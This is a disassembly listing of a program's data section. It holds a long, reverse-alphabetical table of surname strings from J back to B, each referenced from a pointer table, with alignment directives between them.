aJulious db 'Julious',0 ; DATA XREF: ___:0042E538o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E534o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E530o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E52Co
align 10h
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E528o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E524o
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E520o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E51Co
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E518o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E514o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E510o
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E50Co
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E508o
aJay db 'Jay',0 ; DATA XREF: ___:0042E504o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E500o
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4FCo
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4F8o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4F4o
align 10h
aJain db 'Jain',0 ; DATA XREF: ___:0042E4F0o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4ECo
align 10h
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4E8o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4E4o
align 10h
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4E0o
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4DCo
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4D8o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E4D4o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E4D0o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E4CCo
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E4C8o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E4C4o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E4C0o
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E4BCo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E4B8o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E4B4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E4B0o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E4ACo
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E4A8o
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E4A4o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E4A0o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E49Co
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E498o
align 10h
aHuey db 'Huey',0 ; DATA XREF: ___:0042E494o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E490o
aHoward db 'Howard',0 ; DATA XREF: ___:0042E48Co
align 4
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E488o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E484o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E480o
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E47Co
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E478o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E474o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E470o
aHolway db 'Holway',0 ; DATA XREF: ___:0042E46Co
align 4
aHolter db 'Holter',0 ; DATA XREF: ___:0042E468o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E464o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E460o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E45Co
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E458o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E454o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E450o
align 10h
aHock db 'Hock',0 ; DATA XREF: ___:0042E44Co
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E448o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E444o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E440o
align 4
aHind db 'Hind',0 ; DATA XREF: ___:0042E43Co
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E438o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E434o
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E430o
aHester db 'Hester',0 ; DATA XREF: ___:0042E42Co
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E428o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E424o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E420o
align 10h
aHenery db 'Henery',0 ; DATA XREF: ___:0042E41Co
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E418o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E414o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E410o
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E40Co
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E408o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E404o
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E400o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3FCo
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3F8o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3F4o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E3F0o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3ECo
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3E8o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3E4o
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3E0o
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3DCo
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3D8o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E3D4o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E3D0o
align 4
aHarding db 'Harding',0 ; DATA XREF: ___:0042E3CCo
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E3C8o
aHand db 'Hand',0 ; DATA XREF: ___:0042E3C4o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E3C0o
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E3BCo
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E3B8o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E3B4o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E3B0o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E3ACo
aHaley db 'Haley',0 ; DATA XREF: ___:0042E3A8o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E3A4o
align 10h
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E3A0o
aHaar db 'Haar',0 ; DATA XREF: ___:0042E39Co
align 10h
aHa db 'Ha',0 ; DATA XREF: ___:0042E398o
align 4
aGuo db 'Guo',0 ; DATA XREF: ___:0042E394o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E390o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E38Co
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E388o
align 4
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E384o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E380o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E37Co
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E378o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E374o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E370o
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E36Co
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E368o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E364o
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E360o
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E35Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E358o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E354o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E350o
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E34Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042E348o
aGist db 'Gist',0 ; DATA XREF: ___:0042E344o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E340o
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042E33Co
align 10h
aGili db 'Gili',0 ; DATA XREF: ___:0042E338o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E334o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042E330o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E32Co
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E328o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E324o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E320o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E31Co
align 4
aGeller db 'Geller',0 ; DATA XREF: ___:0042E318o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E314o
aGarman db 'Garman',0 ; DATA XREF: ___:0042E310o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E30Co
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042E308o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E304o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E300o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2FCo
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2F8o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2F4o
align 4
aFurth db 'Furth',0 ; DATA XREF: ___:0042E2F0o
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2ECo
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2E8o
align 10h
aFrye db 'Frye',0 ; DATA XREF: ___:0042E2E4o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2E0o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2DCo
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2D8o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E2D4o
align 10h
aFried db 'Fried',0 ; DATA XREF: ___:0042E2D0o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E2CCo
align 4
aFreid db 'Freid',0 ; DATA XREF: ___:0042E2C8o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E2C4o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042E2C0o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E2BCo
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E2B8o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: ___:0042E2B4o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042E2B0o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: ___:0042E2ACo
aFortes db 'Fortes',0 ; DATA XREF: ___:0042E2A8o
align 10h
aForester db 'Forester',0 ; DATA XREF: ___:0042E2A4o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042E2A0o
align 4
aFlores db 'Flores',0 ; DATA XREF: ___:0042E29Co
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042E298o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E294o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042E290o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E28Co
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E288o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E284o
aFink db 'Fink',0 ; DATA XREF: ___:0042E280o
align 10h
aField db 'Field',0 ; DATA XREF: ___:0042E27Co
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042E278o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E274o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E270o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E26Co
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E268o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042E264o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E260o
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E25Co
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E258o
align 10h
aFates db 'Fates',0 ; DATA XREF: ___:0042E254o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E250o
align 10h
aFarren db 'Farren',0 ; DATA XREF: ___:0042E24Co
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042E248o
align 10h
aFaris db 'Faris',0 ; DATA XREF: ___:0042E244o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E240o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E23Co
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E238o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042E234o
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E230o
aEverett db 'Everett',0 ; DATA XREF: ___:0042E22Co
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E228o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042E224o
align 4
aEstes db 'Estes',0 ; DATA XREF: ___:0042E220o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E21Co
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042E218o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: ___:0042E214o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042E210o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: ___:0042E20Co
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042E208o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E204o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E200o
aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1FCo
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1F8o
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1F4o
align 10h
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1F0o
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1ECo
aEdward db 'Edward',0 ; DATA XREF: ___:0042E1E8o
align 10h
aEdner db 'Edner',0 ; DATA XREF: ___:0042E1E4o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042E1E0o
align 10h
aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1DCo
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1D8o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042E1D4o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E1D0o
align 10h
aDussault db 'Dussault',0 ; DATA XREF: ___:0042E1CCo
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E1C8o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E1C4o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E1C0o
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E1BCo
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E1B8o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042E1B4o
align 10h
aDoty db 'Doty',0 ; DATA XREF: ___:0042E1B0o
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042E1ACo
align 10h
aDorf db 'Dorf',0 ; DATA XREF: ___:0042E1A8o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042E1A4o
align 10h
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E1A0o
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042E19Co
align 10h
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E198o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E194o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042E190o
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E18Co
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E188o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E184o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E180o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E17Co
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E178o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042E174o
align 10h
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E170o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E16Co
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E168o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042E164o
aDenham db 'Denham',0 ; DATA XREF: ___:0042E160o
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042E15Co
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E158o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042E154o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042E150o
align 10h
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042E148o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E144o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E140o
align 10h
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E13Co
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042E138o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E134o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E130o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E128o
align 10h
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E124o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E120o
aDavid db 'David',0 ; DATA XREF: ___:0042E11Co
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E118o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E114o
align 10h
aDas db 'Das',0 ; DATA XREF: ___:0042E110o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice db 'Dapice',0 ; DATA XREF: ___:0042E108o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042E104o
align 10h
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E100o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0FCo
aDaly db 'Daly',0 ; DATA XREF: ___:0042E0F8o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0F4o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0F0o
aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0ECo
align 4
aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0E8o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0E4o
align 4
aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0E0o
aCui db 'Cui',0 ; DATA XREF: ___:0042E0DCo
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0D8o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E0D4o
align 10h
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E0D0o
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E0CCo
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E0C8o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E0C4o
aCounter db 'Counter',0 ; DATA XREF: ___:0042E0C0o
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E0BCo
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042E0B8o
aCorey db 'Corey',0 ; DATA XREF: ___:0042E0B4o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042E0B0o
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E0ACo
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042E0A8o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042E0A4o
align 10h
aCompton db 'Compton',0 ; DATA XREF: ___:0042E09Co
; ___:0042E0A0o
aCollis db 'Collis',0 ; DATA XREF: ___:0042E098o
align 10h
aCollard db 'Collard',0 ; DATA XREF: ___:0042E094o
aColella db 'Colella',0 ; DATA XREF: ___:0042E090o
aColdren db 'Coldren',0 ; DATA XREF: ___:0042E08Co
aCoito db 'Coito',0 ; DATA XREF: ___:0042E088o
align 10h
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E084o
aClow db 'Clow',0 ; DATA XREF: ___:0042E080o
align 10h
aClifton db 'Clifton',0 ; DATA XREF: ___:0042E07Co
aClement db 'Clement',0 ; DATA XREF: ___:0042E078o
aClark db 'Clark',0 ; DATA XREF: ___:0042E074o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042E070o
align 10h
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E06Co
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E068o
align 4
aCicero db 'Cicero',0 ; DATA XREF: ___:0042E064o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E060o
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042E05Co
align 10h
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E058o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042E054o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E050o
aChristie db 'Christie',0 ; DATA XREF: ___:0042E04Co
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E048o
align 4
aChristian db 'Christian',0 ; DATA XREF: ___:0042E044o
align 10h
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E040o
aChinman db 'Chinman',0 ; DATA XREF: ___:0042E03Co
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E038o
aChilds db 'Childs',0 ; DATA XREF: ___:0042E034o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042E030o
align 4
aChien db 'Chien',0 ; DATA XREF: ___:0042E02Co
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042E028o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042E024o
align 4
aCherry db 'Cherry',0 ; DATA XREF: ___:0042E020o
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042E01Co
align 4
aCharles db 'Charles',0 ; DATA XREF: ___:0042E018o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042E014o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042E010o
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042E00Co
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042E008o
align 10h
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042E004o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042E000o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFFCo
align 10h
aCase db 'Case',0 ; DATA XREF: ___:0042DFF8o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFF4o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFF0o
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DFECo
align 4
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFE8o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFE4o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFE0o
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFDCo
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFD8o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DFD4o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DFD0o
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DFCCo
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DFC8o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DFC4o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DFC0o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DFBCo
align 4
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DFB8o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DFB4o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DFB0o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DFACo
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DFA8o
align 4
aCage db 'Cage',0 ; DATA XREF: ___:0042DFA4o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DFA0o
align 4
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF9Co
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF98o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF94o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF90o
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DF8Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF88o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DF84o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF80o
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF7Co
aBudding db 'Budding',0 ; DATA XREF: ___:0042DF78o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF74o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF70o
aBrook db 'Brook',0 ; DATA XREF: ___:0042DF6Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: ___:0042DF68o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DF64o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF60o
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF5Co
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF58o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF50o
; ___:0042DF54o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF4Co
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF48o
align 4
aBreed db 'Breed',0 ; DATA XREF: ___:0042DF44o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF40o
align 4
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF3Co
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF38o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DF34o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DF30o
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DF2Co
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DF28o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DF24o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DF20o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DF1Co
align 4
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DF18o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DF14o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DF10o
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DF0Co
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DF08o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DF04o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DF00o
align 10h
aBorden db 'Borden',0 ; DATA XREF: ___:0042DEFCo
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DEF8o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEF4o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DEF0o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEECo
align 10h
aBook db 'Book',0 ; DATA XREF: ___:0042DEE8o
align 4
